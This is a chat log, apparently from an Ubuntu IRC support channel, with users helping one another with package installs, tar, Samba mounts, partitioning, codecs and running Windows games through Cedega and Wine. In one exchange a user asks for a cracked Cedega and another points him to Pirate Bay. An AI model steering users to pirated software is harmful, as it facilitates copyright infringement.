[06:12] <Dmitrijus> hey Digis ;] ] 
[06:12] <Jhair> andrewPCT: I wonder why Random_Transit expects breezy backports today :(
[06:12] <LethalSword> can anybody help me
[06:13] <asafdsa> thanks _jason and KakiPukul... just investigating
[06:13] <Dr_Willis> LethalSword,  what part of the process are youy haveing issues with?
[06:13] <andrewPCT> Jhair: i wonder why he hasn't just gone to dapper to get gnome 2.14, i think i had it in dapper on tuesday
[06:13] <LethalSword> umm i just dont know how to install games
[06:13] <Random_Transit> andrewPCT...because I like stabilty
[06:14] <KakiPukul> LethalSword: how about using Windows?
[06:14] <Dr_Willis> LethalSword,  fire up cedega, use the point-to-play interface. pop in the cd. and start clicking. :P
[06:14] <KakiPukul> heh
[06:14] <nickrud> DogWater: if it said that, think I'd try that as my pci device in xorg.conf
[06:14] <andrewPCT> Random_Transit: i've been using dapper for a while now without problems
[06:14] <LethalSword> Dr_Willis what do i click though
[06:14] <servers> how can I play .wmv on ubuntu? ;/
[06:14] <LethalSword> cuz install isnt highlighter
[06:15] <HymnToLife> !wmv
[06:15] <ubotu> from memory, restricted is https://wiki.ubuntu.com/RestrictedFormats  Most of the formats listed here can be replaced by !FreeFormats
[06:15] <LethalSword> highlighted*
[06:15] <Dr_Willis> LethalSword,  i seem to recall a butotn called 'install' in the top somewhere..
[06:15] <LethalSword> its not highlighted
[06:15] <Dr_Willis> LethalSword,  you did set up cedega and put in your cedega name/password and update it?
[06:15] <Random_Transit> yeah, but i've heard too many horror stories about broken dapper installs
[06:15] <LethalSword> i havent got a name and password
[06:15] <LethalSword> and im not paying for it
[06:15] <Dr_Willis> LethalSword,  also the cedega homepage has docs/details/examples.
[06:15] <LethalSword> :)
[06:16] <LethalSword> ill get the demo version maybe
[06:16] <Dr_Willis> LethalSword,  you are using the demo? or did you warez it?
[06:16] <Dr_Willis> If you dont have the demo.. then you cant do any more.
[06:16] <LethalSword> umm if i answer warez will i get kicked?
[06:16] <zAo^> lol
[06:16] <LethalSword> ok
[06:16] <LethalSword> ill do the demo
[06:16] <LethalSword> how do i uninstall it then
[06:16] <Dr_Willis> You must have a username/pass to actually use the real thing. thats the bottom line. :P
[06:16] <LethalSword> haha
[06:16] <LethalSword> no dont kick me
[06:17] <Random_Transit> lol
[06:17] <Random_Transit> ^_~
[06:17] <Dr_Willis> Cedega home page - 'read docs' :P
[06:17] <ErPiU> hi all
[06:18] <LethalSword> how do i uninstall it
[06:18] <LethalSword> ?
[06:19] <Dr_Willis> same as you uninstall any other package is one way.. synpatic.
[06:19] <KakiPukul> just delete the game folder?
[06:20] <mephis1987_> sorry
[06:20] <mephis1987_> how can i find libqt3c102-mt
[06:20] <mephis1987_> how can i find libqt3c102-mt package
[06:20] <Stormx2> mephis1987_: What is this for, skype?
[06:20] <LethalSword> mark for complete removal Dr_Willis?
[06:20] <mephis1987_> yes
[06:21] <Stormx2> mephis1987_: Check the wiki
[06:21] <rudiz> opera?
[06:21] <Stormx2> !skype
[06:21] <ubotu> skype is, like, http://wiki.ubuntu.com/SkypeHowto/ Breezy deb: http://wiki.ubuntu.com/SeveasPackages/
[06:21] <Dr_Willis> LethalSword,  may as well. :P  ive never uninstalled it.
[06:21] <mephis1987_> ok
[06:21] <mephis1987_> thanks a lot
[06:21] <LethalSword> ok lol
[06:21] <Stormx2> Check that, the dependancies are broken on the package released by skype
[06:21] <Stormx2> !tell rudiz about opera
[06:21] <porky_scratching> how do I reg a name in irc?
[06:22] <Stormx2> porky_scratching: /msg nickserv help register
[06:22] <LethalSword> where do i go for the demo
[06:23] <Stormx2> porky_scratching: Basicly, its just "/msg nickserv register <pass here>"
[06:23] <kingspawn> LethalSword: start using google, it's got an answer for almost everything.
[06:23] <Dr_Willis> LethalSword, ------->  Cedega home page. The answer to all your Cedega needs
[06:23] <LethalSword> im looking
[06:23] <LethalSword> but only finding stuff to subscribe
[06:24] <Spde> Jhair: in the line //server/share /mnt/mountpoint smbfs credentials=credentials_file 0 0 what dose smbfs stand for??
[06:24] <porky_scratching> Stormx2: got it thnx
[06:24] <jadaz87> Dr_Willis do you know of any utility where i whould be able to convert from fat32 to ext3 without losing all data?
[06:24] <Stormx2> Also LethalSword, ask in #cedega...
[06:24] <LethalSword> i got kicked from there
[06:24] <kingspawn> you dont say
[06:24] <Stormx2> Spde: Samba Filesystem
[06:24] <babo> Hi guys, I just came and found my harddrive blazing and strange things happening to my bash prompt. I think I might have been hacked ... how can I check ?
[06:25] <Stormx2> LethalSword: Why? :P
[06:25] <Jhair> Spde: is the filesystem type
[06:25] <babo> Is there any plausible reason for something like that ... root or user don't have any crontabs ?
[06:26] <kingspawn> babo: whats your memory usage like? does ps -aux show anything unusal? what do the logs say?
[06:26] <Dr_Willis> jadaz87,  qtparted/gparted can do that I do belive.
[06:26] <pjv> anyone here used xvidcap?
[06:26] <LethalSword> Stormx2 because i asked for a cedega trial crack :P
[06:26] <Dr_Willis> jadaz87,  best to backup your data however.
[06:26] <Spde> Jhair: why do you leave out smbmount? =S
[06:26] <Stormx2> LethalSword: Rofl
[06:26] <Dr_Willis> Gee. i could of guessed that.
[06:27] <Stormx2> LethalSword: Pirate Bay dude... but really, that was stupid
[06:27] <babo> kingspawn: I killed the process ... ps aux will only show current processes yes ?
[06:27] <asafdsa> thanks for ur help chaps
[06:27] <LethalSword> i searched pirate bay but no crack
[06:27] <LethalSword> :P
[06:27] <Dr_Willis> Proberly after they told him 100 times to go read the docs also...
[06:27] <kingspawn> babo: yes. what process did you kill? and what about the logs?
[06:27] <takedown> !lt
[06:27] <Jhair> Spde: AFAIK mount alone can do exactly the same as smbmount :). the filesystems specified in /etc/fstab are mounted with mount alone
[06:27] <ubotu> parse error: Try searching at http://ubuntu.cc.com.au/, takedown
[06:27] <LethalSword> what are the variables i type after tar to extract a tar file
[06:28] <kingspawn> LethalSword: man tar - an excellent resource
[06:28] <Spde> Jhair: AFAIK mount??? =S
[06:28] <Dr_Willis> google 'tar tutorial'
[06:28] <Jhair> Spde: I mean I think you can mount samba shares using only mount
[06:28] <Jhair> Spde: there is the "smbmount" command, and the "mount" command
[06:28] <Dr_Willis> mount -t smbfs
[06:28] <Jhair> Spde: exactly what Dr_Willis now said
[06:28] <gopi> I am going to install linux-headers-2.6.12-10-amd6 and there are few descriptions in synaptic package manager like Linux kernel headers 2.6.12 on x86_64 and similarly for AMD K8.....
[06:29] <gopi> how do I select which one for mine? Mine is Athlon64 system
[06:29] <gopi> And when I type uname -r , it showed 2.6.12-10-amd64-generic
[06:30] <Spde> Jhair: now im really confused =) so i only need to specify the file system typ (samba) in the etc/fstab file?
[06:30] <LethalSword> is it tar -xvcf
[06:30] <LethalSword> ???
[06:30] <kingspawn> LethalSword: what happens when you try that on your tar file?
[06:30] <Jhair> Spde: yes, you don't need to specify the command at all. I think the first line I send you is correct
[06:31] <LethalSword> nothing
[06:31] <gopi> So can I select Linux kernel headers 2.6.12 on x86_64 or Linux kernel headers 2.6.12 on AMD K8  ???
[06:31] <LethalSword> haha
[06:31] <kingspawn> LethalSword: is it just a .tar file or a tar.gz file?
[06:31] <RQ> hi  everyone
[06:31] <LethalSword> just tar
[06:31] <kingspawn> then xvf should do it
[06:32] <O_Rei_do_Gado> how can i install vmware tools on ubuntu?
[06:32] <_jason> LethalSword: c is for create :)
[06:32] <snowblink> !tell LethalSword about tar
[06:32] <gopi> I am going to install linux-headers-2.6.12-10-amd6 and there are few descriptions in synaptic package manager like Linux kernel headers 2.6.12 on x86_64 and similarly for AMD K8..... how do I select which one for mine? Mine is Athlon64 system.....And when I type uname -r , it showed 2.6.12-10-amd64-generic.......So can I select Linux kernel headers 2.6.12 on x86_64 or Linux kernel headers 2.6.12 on AMD K8  ???
[06:32] <kingspawn> "e(x)tract (v)erbose (f)ile"
[06:32] <babo> kingspawn: I've checked a few of the logs ... apache, mysql, snort ... there's nothing there that's strange
[06:32] <bdash> When I try to upadate I get "W: Failed to fetch http://nz.archive.ubuntu.com/ubuntu/pool/main/libg/Whatever the package is" message for each package? Help?
[06:32] <RQ> i'm trying to setup SMTP AUTH with TLS, and something obviously doesn't work. After issuing STARTTLS, the server just sits in the corner quietly
[06:32] <Jemt> OMG - is it just me or does network support really suck in Dapper? It only found one of my two wireless network cards (I got two) and I can't make it work. I finds the network when I broadcast the SSID - but I don't get an IP. Everything works perfect in Breezy. Can anyone please help me? I fear this problem will exist in the final release of Dapper which will force me to stick with Breezy :-((
[06:32] <RQ> any ideas?
[06:32] <nickrud> gopi: sudo aptitude install linux-headers-$(uname -r) will get the headers for your running kernel
[06:32] <Dr_Willis> bdash,  sounds like the server is down.
[06:33] <Jhair> O_Rei_do_Gado: https://wiki.ubuntu.com/VMwarePlayerAndQemu?highlight=%28qemu%29%7C%28vmware%29
[06:33] <snowblink> !tell Jemt about dapper
[06:33] <gopi> nickrud: Thank you...
[06:33] <bdash> Dr_Willis: Anywhere I can check server status?
[06:33] <RQ> Jemt dapper is alpha software. what's so weird about it not working?
[06:33] <Dr_Willis> bdash, no idea. try pinging it?
[06:33] <babo> Kingspawn: I didn't really even check properly what process it was ... it looked like bash was returning itself a couple of times and then spiting out bits of code ... I just killed it straight away ...
[06:33] <nickrud> gopi: just cut and paste that :)
[06:33] <Jemt> RQ, It's flight5 - it's gonna be released next month!
[06:33] <RQ> bdash apt-get update
[06:34] <RQ> Jemt there's a lot to fix before the next month, i think ;)
[06:34] <babo> I'll power it down now and boot it up on security auditor tomorrow and check for any rootkits ... maybe I should just format the whole thing ??
[06:34] <gopi> nickrud: yes thanks :)
[06:34] <Jhair> RQ: alpha software looks very different than the current Dapper state, I am sure...
[06:34] <seroxat> i just installed ubuntu on my machine but it fails to start X because "no screens found"
[06:35] <RQ> Jhair well i'm using dapper at home. it's very unstable if you ask me
[06:35] <kingspawn> babo: have you got an ssh server running? other stuff?
[06:35] <RQ> Jhair for example, rhythmbox crashes very often
[06:35] <RQ> seroxat try reconfiguring the x server
[06:35] <seroxat> RQ: how?
[06:35] <Jemt> RQ, Hopefully! The primary reason why I move to a new distribution is when a new version is released and it is not compatible with my system any more
[06:36] <bdash> RQ: Everything seems to work through apt-get update but when I use the software update I still get that error. ?.?
[06:36] <RQ> sudo dpkg-reconfigure xserver-xorf
[06:36] <Jhair> RQ: rhythmbox crashes for me in breezy...
[06:36] <RQ> sudo dpkg-reconfigure xserver-xorg
[06:36] <nazgulwalker> anyone using drscheme in ubuntu amd64?
[06:36] <RQ> bdash maybe the packages haven't hit the server yet?
[06:36] <O_Rei_do_Gado> what is the best way to install wine is form synaptic?
[06:36] <babo> I have ssh, four perl sockets, nessus, apache, www, dhclient, cupsd
[06:36] <_jason> O_Rei_do_Gado: enable universe and do: sudo aptitude install wine
[06:36] <RQ> O_Rei_do_Gado just search for "wine" and check it for installation
[06:36] <O_Rei_do_Gado> ok
[06:37] <babo> I think it may have been a perl process running
[06:37] <bdash> RQ: Could be. Is there a news site that has updates on the various ubuntu servers?
[06:37] <z33> Should I create seperate partitions to be mounted to /home and /, or can I just mount one partition to / and install ubuntu onto that?
[06:38] <kingspawn> z33: the choice is yours
[06:38] <z33> king, are there benefits of doing it a certain way or just personal preference?
[06:38] <juhan> z33: i recomend separate
[06:38] <obli> Anyone know hoe I get my extra mouse buttons to work?
[06:38] <babo> ssh should be locked down on my router though ... I'll check ...
[06:38] <RQ> bdash i don't think you need a news server just for that
[06:38] <nickrud> z33: but separate partitions are a great idea
[06:38] <obli> *how
[06:38] <RQ> z33.home separate has some bebnefits
[06:39] <RQ> (sorry for typos_)
[06:39] <_jason> !mouse
[06:39] <ubotu> mouse is probably Enabling extra buttons  https://wiki.ubuntu.com/ManyButtonsMouseHowto or http://www.ubuntuforums.org/showthread.php?t=65471&highlight=evdev
[06:39] <LethalSword> anybody know where to get a full working copy of cedega
[06:39] <obli> thanks
[06:39] <z33> How should the size distribution be? 60% space goes to /home and 40% goes to /? Or how would I decide on that?
[06:39] <kingspawn> z33: separate /home have the same benefits as keeping your games separated from your system in windows
[06:39] <_jason> LethalSword: http://www.transgaming.com/
[06:39] <LethalSword> haha _jason
[06:40] <_jason> ?
[06:40] <juhan> z33 how much space do you have?
[06:40] <nickrud> z33: 8-10GB on / is plenty, put the rest into home
[06:40] <bdash> RQ: Cheers.
[06:40] <RQ> z33 i think it's enough to le say six gigz for /, and everything else to /home
[06:40] <nickrud> z33: with a bit for swap
[06:40] <RQ> s/le/leave/
[06:40] <z33> juhan, I have 10.1 GB to partition for Ubuntu, I have 1 GB of RAM and someone reccommended RAM x2 for swap size so I put 2 GB for swap, so I have 8.1 GB left over
[06:41] <RQ> bdasry a us server
[06:41] <RQ> bah
[06:41] <RQ> bdash: try a us server
[06:41] <_jason> z33: you don't need all that swap
[06:41] <z33> _jason, how much do reccommend?
[06:41] <LethalSword> is there any Cedega alternative?
[06:41] <O_Rei_do_Gado> but wine from synaptic is not new version....
[06:42] <RQ> z33 one gig for swap is more than enough
[06:42] <nickrud> z33: and with that small a drive, 6gb for / is a better idea, more space four you.
[06:42] <LethalSword> is there any
[06:42] <z33> RQ, thanks
[06:42] <mikebot> what is the search command, like apt-get search or something
[06:42] <RQ> it actually depends on how hard you press on ram
[06:42] <nickrud> mikebot: ?
[06:42] <mikebot> nickrud: to search packages in terminal
[06:42] <nickrud> mikebot: erm, apt-cache search
[06:42] <mikebot> nickrud: ah thanks
[06:42] <O_Rei_do_Gado> RQ:  but wine from synaptic is not new version....
[06:43] <nickrud> mikebot: first cut, I though that's what you wrote :)
[06:43] <LethalSword> anybody know
[06:43] <RQ> O_Rei_do_Gado you didn't ask for a NEW version, did you?
[06:43] <O_Rei_do_Gado> RQ can i install frm sources?
[06:43] <mikebot> nickrud: hehe
[06:43] <O_Rei_do_Gado> sorry rq
[06:43] <nickrud> LethalSword: dual booting
[06:43] <_jason> z33: with 1gb of ram you'll probably almost never go into swap, 1gb is plenty.  I have 1gb with 512mb of ram and think it's a waste of space
[06:43] <juhan> z33 that's a lot of swap, i would leave it at 1gb and then it gets tricky... probably 5 gb for / and the rest for home
[06:43] <LethalSword> nickrud i meant a linux program
[06:43] <LethalSword> i had windows and got badly hacked
[06:43] <RQ> O_Rei_do_Gado yes you can. but i prefer .debs
[06:44] <mikebot> nickrud: thanks, cya
[06:44] <nickrud> LethalSword: I keep windows around for what little gaming I do, and don't have the net come up
[06:44] <O_Rei_do_Gado> what i need to instal from sources?
[06:44] <Chodder> O_Rei_do_Gado, bild essentials
[06:44] <LethalSword> but there is no other program?
[06:44] <Chodder> build*
[06:44] <RQ> O_Rei_do_Gado check winehq.com or sth/
[06:45] <RQ> you need a C compiler and some libs
[06:45] <nazgulwalker> anyone using drscheme in ubuntu amd64?
[06:45] <Chodder> apt-get install build-essentials
[06:45] <O_Rei_do_Gado> is that Getting source packages from the repository?
[06:45] <Chodder> I think
[06:45] <RQ> if you have enabled source repos, you may try sudo apt-get build-deps wine
[06:45] <RQ> or sth
[06:45] <RQ> apt-get --help for more info
[06:45] <nickrud> LethalSword: none that I ever found worth the hassle: wine & cedega, & too expensive: vmware & too inadequate: qemu
[06:46] <Stalwart> !w32codecs
[06:46] <ubotu> w32codecs is, like, a compilation of binary win32 A/V codecs for many popular proprietary formats not currently supported by free implementations under linux. See http://tinyurl.com/e4a5s to install
[06:47] <Dr_Willis> games are for the weak!
[06:47] <servers> when I play .wmv I can only hear sound no image y is this happening?
[06:47] <RQ> servers:
[06:47] <Dr_Willis> servers,  codec issues.
[06:47] <RQ> !w32codecs
[06:47] <ubotu> rumour has it, w32codecs is a compilation of binary win32 A/V codecs for many popular proprietary formats not currently supported by free implementations under linux. See http://tinyurl.com/e4a5s to install
[06:47] <kuja> ubotu: mp3
[06:48] <ubotu> from memory, mp3 is a non-free format. To enable mp3 capability, read https://wiki.ubuntu.com/RestrictedFormats
[06:48] <RQ> get this and install it
[06:48] <_jason> servers: what player?
[06:48] <servers> _jason totem
[06:49] <_jason> servers: install totem-xine from unvirse and see ubotu's link above for w32codecs
[06:49] <LethalSword> can DirectX be installed on Ubuntu
[06:49] <robinl1> why do my gnome apps take so long to start up?
[06:49] <batman> hello has anyone here ever gotten quake 3 arena demo to work? every time i download a demo its a .gz.sh extension
[06:49] <juhan> i don't know why but my x server keeps crashing
[06:49] <servers> I already installed the codecs
[06:49] <juhan> i just lost sound and now everything will start collapsing
[06:49] <LethalSword> Dr_willis cant it install?
[06:49] <juhan> :(
[06:49] <juhan> bye
[06:50] <LethalSword> so that u can run games through crossover
[06:50] <Dr_Willis> servers,  thers dozens of codecs. try vlc, and xine, and mplayer, run them fromt he shell.. check their log/messages
[06:50] <Dr_Willis> LethalSword,  you are refering to 'CrossOverOffice' ?
[06:50] <LethalSword> yes
[06:50] <Enthusiast78> LethalSword, Look for WineX in http://www.winehq.com/
[06:50] <LethalSword> thanks
[06:51] <LethalSword> and it runs games Enthusiast78?
[06:51] <Dr_Willis> winex - was the old name for Cedega :P
[06:51] <Dr_Willis> unless i am confused
[06:51] <nazgulwalker> anyone using drscheme in ubuntu amd64?
[06:51] <Enthusiast78> LethalSword, Precisely. ;)
[06:51] <LethalSword> ok
[06:51] <void^> LethalSword: just use windows for games that require it.
[06:51] <nickrud> LethalSword: I understand your intent, but windows gaming on linux is a losing proposition except for those who know wine inside and out
[06:52] <Enthusiast78> Anyone can tell me how do I change the default text editor from nano to vi? I'm having a bad time whenever I have to 'crontab -e'... :(
[06:52] <Dr_Willis> Cedega does a very good job - with some games.. but still native windows is the way to go.
[06:52] <nickrud> Dr_Willis: no, you're not :)
[06:52] <Dr_Willis> nickrud,  thats a First! :p
[06:52] <nickrud> Enthusiast78: sudo update-alternatives --config editor
[06:52] <Enthusiast78> nickrud, Thanks!
[06:53] <LethalSword> Enthusiast78 i cant find anything on it
[06:53] <Enthusiast78> LethalSword, Lemme check the exact URL for ya...
[06:53] <LethalSword> ok thanks
[06:54] <O_Rei_do_Gado> ok i just use deb http://wine.sourceforge.net/apt/ binary/
[06:54] <O_Rei_do_Gado> from apt line
[06:54] <O_Rei_do_Gado> ok i just use deb http://wine.sourceforge.net/apt binary/
[06:54] <O_Rei_do_Gado> and check the wine new version
[06:54] <malikyo> does anyone know if the video of the iMac turned out to be real?
[06:54] <O_Rei_do_Gado> at the moment is downloading the file
[06:54] <kitchen> I've rtfm + stfw and I'm not having any love from wpa_supplicant either wep or wpa.  iwconfig "standard" config works np.  anyone got ideas?
[06:55] <O_Rei_do_Gado> RQ:  it install auto from ap line?
[06:55] <O_Rei_do_Gado> after downloading...?
[06:56] <Enthusiast78> LethalSword, I think www.transgaming.com is the site with winex info, but I'll still check for the exact URL...
[06:57] <stian> is it not called cedega? winex?
[06:57] <tombs> hi all
[06:57] <kip> hi
[06:57] <polpak> stian, it is
[06:57] <stian> Greetings
[06:57] <kip> i want to ask
[06:57] <stian> polpak, good, then I haven't missed anything :)
[06:57] <stian> kip, shoot
[06:58] <kip> is its dangerousd to close ubuntu by the power off button on the machine
[06:58] <pc15001> hola
[06:58] <pc15001> que tal
[06:58] <O_Rei_do_Gado> ol pc
[06:58] <nazgulwalker> where can i reach PATH's file ?
[06:58] <polpak> kip, depends on what fs you use..
[06:58] <AndiM> kip: if ACPI is configured correctly, then it should work fine
[06:58] <O_Rei_do_Gado> ola pc15001
[06:58] <stian> kip: that really depends. if you computer is working on something, and writing to the disk, you might end up having to reformat
[06:58] <nickrud> nazgulwalker: env | sort shows it
[06:59] <_jason> nazgulwalker: you mean the file where the PATH environment variable is set?
[06:59] <kip> beacuse yesterday i closed it by on /off
[06:59] <AndiM> kip: (just make sure you don't use the >= 4 seconds "emergency power-off" ;)
[06:59] <polpak> stian, not if you use ext3 or another journalling fs
[06:59] <kip> andil thats what i used
[06:59] <LethalSword> Enthusiast78 pm me the link please
[06:59] <Storkme> no one EVER use scratchtelecom for webhosting/dedicated servers/vps
[06:59] <Absenth> is there a CLI command I can issue on Breezy that will tell me which processor is running in my laptop?
[06:59] <stian> polpak, weel, if you do it while writing a new kernel you might be in trouble :P
[07:00] <_jason> Absenth: cat /proc/cpuinfo
[07:00] <kip> beacuse it was in hibernate and it didnt want to be on
[07:00] <polpak> kip, it should be fine
[07:00] <kip> and this moring it beeped at the loading
[07:00] <Enthusiast78> LethalSword, This is THE thing: http://www.transgaming.com/sources.php
[07:00] <nazgulwalker> _jason yes
[07:00] <kip> and it didnt find my hd
[07:00] <Absenth> _jason, Thanks.  got an Old P2 Notebook, but had no idea what speed the P2 was
[07:01] <Enthusiast78> LethalSword, You'll probably have to 'agree' to a license first...
[07:01] <nazgulwalker> where can i change my PATH variable?
[07:01] <Dr_Willis> and read :P
[07:01] <nazgulwalker> where can i change my PATH variable? and set new PATH as default
[07:01] <Dr_Willis> nazgulwalker,  .bashrc .bash_profile or system widew in /etc/profile
[07:01] <polpak> kip, was it the bios that was complaining, or grub?
[07:01] <_jason> nazgulwalker: when you login to gnome, it's set in /etc/login.defs, otherwise /etc/profile
[07:01] <Enthusiast78> LethalSword, But then the page with CVS download and install instructions will be shown...
[07:01] <Dr_Willis> nazgulwalker,  pick one. :P
[07:01] <kip> and is it normal that my windows is awfully slow now
[07:01] <nazgulwalker> thanks
[07:01] <kip> grub i think
[07:02] <Dr_Willis> kip,  installing Linux - should have no effect on your windows installl.
[07:02] <kip> whats the grub
[07:02] <MetaMorfoziS> !grub
[07:02] <ubotu> http://wiki.ubuntu.com/GrubHowto or https://wiki.ubuntu.com/RecoveringUbuntuAfterInstallingWindows or troubleshooting grub: http://www.gnu.org/software/grub/manual/grub.html#Troubleshooting
[07:02] <kip> well the windows now is damn slow
[07:02] <Dr_Willis> GRUB is the bootloader/menu that lets you pick what os to boot.
[07:02] <O_Rei_do_Gado> cedega is only for games?
[07:02] <polpak> O_Rei_do_Gado, more or less
[07:03] <O_Rei_do_Gado> can it run some apps?
[07:03] <robinl1> ..
[07:03] <robinl1> wtf
[07:03] <O_Rei_do_Gado> like wine...
[07:03] <robinl1> lots of people flashed offline
[07:03] <robinl1> on lots of servers
[07:03] <Absenth> O_Rei_do_Gado, well,  it "can" run things that aren't games, but it's not nearly as good as basic Wine, or Crossover Office.
[07:03] <stian> O_Rei_do_Gado, you can, but their goal is to make it run games as best as possible
[07:03] <polpak> O_Rei_do_Gado, and with the rate wine is progressing there's not a whole lot of advantages to cedega anyway
[07:03] <robinl1> at the same time!
[07:03] <kip> will
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[07:03] <Dr_Willis> Cedega can run apps and games.
[07:03] <Absenth> polpak, wine supports DX now?
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[07:03] <kip> it was when ubuntu started loading
[07:04] <Enthusiast78> O_Rei_do_Gado, The purpose of WineX (or Cedega) is to emulate DirectX. You better go with plain wine if you want to run 'regular' (no-DirectX) apps.
[07:04] <polpak> Absenth, yes,
[07:04] <O_Rei_do_Gado> cedega works to turn the games on the top!
[07:04] <polpak> Absenth, not fully, but enough to get by for many things
[07:04] <polpak> Absenth, and the level of support depends on the DX version
[07:04] <O_Rei_do_Gado> if does the applications run on the top too...
[07:04] <O_Rei_do_Gado> cause system core is completely updated...
[07:05] <Absenth> polpak, I see.  been using cedega since it changed names from WineX
[07:05] <wastrel> ubuntu
[07:05] <obli> There's a plugin for GIMP that makes it look like photoshop, right?
[07:05] <Absenth> O_Rei_do_Gado, I use Crossover Office from Codeweavers for non-3d applications.  I'm sure Wine would do a great job, but, Xover is just darn easy
[07:05] <Dr_Willis> obli,  i recall a variant that rearanged the menus..
[07:05] <Absenth> obli, "GimpShop" is what you're looking for.
[07:05] <AndiM> obli: GimpShop. Mac only, AFAIK.
[07:06] <flocks> \j ##c
[07:06] <flocks> oups
[07:06] <Absenth> AndiM, Nope, Windows, and linux flavors out there now too.
[07:06] <O_Rei_do_Gado> crossover is comercial and payed...
[07:06] <obli> dang
[07:06] <polpak> Absenth, I prefer wine from the perspective of their design goals anyway. The whole cedega thing is kinda wack. They just patch things up in order to get the games with the most votes working even if it borks older games
[07:06] <Dr_Willis> I thoght i tried gimpshop under linux.
[07:06] <O_Rei_do_Gado> cedega too
[07:06] <obli> Dr_Willis, yes, that's the one
[07:06] <obli> I'm totally lost in GIMP :(
[07:06] <polpak> Absenth, so in many cases you have to have different cedega versions installed to play all your games
[07:06] <Absenth> O_Rei_do_Gado, I have no problem with paying for a product that does what I want, and doesn't require me to pull out any additional hair :)
[07:06] <O_Rei_do_Gado> wine is totally free...
[07:06] <Absenth> It is.
[07:07] <Dr_Willis> Heck with PC games.. go get a Gamecube. :P
[07:07] <O_Rei_do_Gado> but much bugs,,,
[07:07] <Absenth> I'm sure I could make wine do what I want it to also.
[07:07] <kip> gc = best
[07:07] <Absenth> but I refuse to go grey any faster then I already am.  Xover is just darn easy.
[07:07] <polpak> O_Rei_do_Gado, I wouldn't say wine has a lot of bugs
[07:07] <Dr_Willis> Getting where copy protection of PC games are nasty...
[07:07] <O_Rei_do_Gado> wine is very unstable versus crossover
[07:07] <z33> I just installed Ubuntu and it finished Stage 1 of the installation, I took the CD out and it rebooted and came to the Grub screen with a grub> prompt. Does that mean I installed grubbed to the wrong spot?
[07:07] <polpak> O_Rei_do_Gado, Xover just makes configuring and installing apps much easier than it is w/ default wine
[07:07] <nickrud> Dr_Willis: lol, no windows! why didn't I think of that
[07:07] <O_Rei_do_Gado> what is Xover?
[07:08] <Absenth> Crossover
[07:08] <Absenth> office
[07:08] <O_Rei_do_Gado> ah ok
[07:08] <kip> willis
[07:08] <kip> i have two drive one with win2k one with ubuntu
[07:09] <kip> why my win2k is damn slow
[07:09] <O_Rei_do_Gado> the is some 3rd parties like winetools, to install much things
[07:09] <O_Rei_do_Gado> did you know 3rd parties like winetools?
[07:09] <Dr_Willis> kip,  prove its linux's fault.. remove the linux hd. and see..
[07:09] <kip> before i had ubuntu it was fast
[07:09] <O_Rei_do_Gado> more 3rd parties...
[07:09] <O_Rei_do_Gado> ?
[07:09] <polpak> O_Rei_do_Gado, I've used winetools
[07:09] <z33> Anyone know why I am stuck at the Grub screen after finishing stage 1 of Ubuntu installation?
[07:09] <polpak> O_Rei_do_Gado, it works pretty well
[07:09] <DigitalLF> whats the name for the kernel modules for pcmcia?
[07:09] <Dr_Willis> kip,  you dident reformat the drive with the swap file did ya?
[07:09] <O_Rei_do_Gado> polpak
[07:09] <kip> willis it tries to access the D
[07:10] <O_Rei_do_Gado> polpak but runs an error on system odbc
[07:10] <Dr_Willis> kip,  sound s like windows is being stupid. :P
[07:10] <kip> yeah
[07:10] <Dr_Willis> kip,  disable D: in the device manager or whatever its called.
[07:10] <kip> i might format the two drive to put ubuntu only
[07:10] <O_Rei_do_Gado> polpak you use odbc in wine?
[07:10] <polpak> O_Rei_do_Gado, I haven't tried yet no
[07:10] <O_Rei_do_Gado> ok
[07:10] <Dr_Willis> kip,  thats an even better idea
[07:10] <polpak> O_Rei_do_Gado, I mostly work with mysql and postgresql databases
[07:11] <O_Rei_do_Gado> i need to repair system odbc...
[07:11] <kip> but i dont know how to format the ubuntu one
[07:11] <kip> beacuse it has ubuntu on it
[07:11] <O_Rei_do_Gado> i never tryed mysql , postgreesql
[07:11] <polpak> kip, the installer for ubuntu will let you format your drives
[07:11] <x_or> Anyone know of a good ISO linux recovery system?  I tried trinity and it just won't boot properly for me.  I need to repartition my drive after a kernel update.
[07:11] <Dr_Willis> kip,  if its allready installed - you dont need to reinstall.
[07:11] <nickrud> DigitalLF: the pcmcia kernel modules are part of the stock kernel in ubuntu, iirc
[07:11] <kip> willis i want to move it
[07:11] <O_Rei_do_Gado> polpak: mysql is simple to use?
[07:12] <kip> beacuse it not on the 20gb
[07:12] <polpak> O_Rei_do_Gado, yes
[07:12] <kip> its on the 6gb
[07:12] <O_Rei_do_Gado> can i use via odbc, ado ?
[07:12] <polpak> O_Rei_do_Gado, postgreSQL has more features though (similiar to what you'd get with an enterprise level DB)
[07:12] <polpak> O_Rei_do_Gado, odbc is supported by both mysql and postgreSQL
[07:12] <O_Rei_do_Gado> great
[07:12] <wastrel> odbc eh
[07:12] <jimcooncat> casting my vote for postgresql
[07:12] <O_Rei_do_Gado> postgreesql is free?
[07:13] <polpak> O_Rei_do_Gado, yes
[07:13] <O_Rei_do_Gado> and more powerfull tha mysql?
[07:13] <nickrud> x_or: damn small linux (about 50M)
[07:13] <x_or> nickrud: Does it have a partitioner?
[07:13] <polpak> O_Rei_do_Gado, has more features like views, transactions, paging, stored proceedures, etc
[07:13] <nickrud> x_or: it'll have cfdisk, at the least
[07:13] <kip> dsl is amazing
[07:13] <O_Rei_do_Gado> ok i will try .
[07:14] <x_or> Ok, but that will destroy all the data, no?  Does it do non-destructive partioning?
[07:14] <nickrud> x_or: no, it doesn't do non-destructive
[07:14] <HymnToLife> x_or> what exactly do you want to do ?
[07:14] <polpak> x_or, you want either parted or gparted for a graphical front end
[07:14] <Goldfisch> x_or: I always keep knoppix around as a rescue CD>
[07:15] <nickrud> x_or: http://www.damnsmalllinux.org/packages.html
[07:15] <x_or> HymnToLife:  I updated a ubuntu machine and I think it moved /boot outside of an area which grub could access.  So, I need to repartion, but don't want to lose my data.
[07:15] <x_or> Does the ubuntu live CD have gparted or parted?
[07:15] <kip> whats diffrent about kubuntu
[07:15] <nickrud> x_or: both, dsl has parted according to the list
[07:15] <LiveCD> hi
[07:16] <HymnToLife> x_or> the /boot partition needs to be at the very beginning of the drive
[07:16] <Goldfisch> kip: Based on KDE instead of GNOME.
[07:16] <GigaClon> kip, kubuntu has KDE instead of GNOME
[07:16] <kip> just that?
[07:16] <x_or> Yep, and I think this was the problem.
[07:16] <GigaClon> !kubuntu
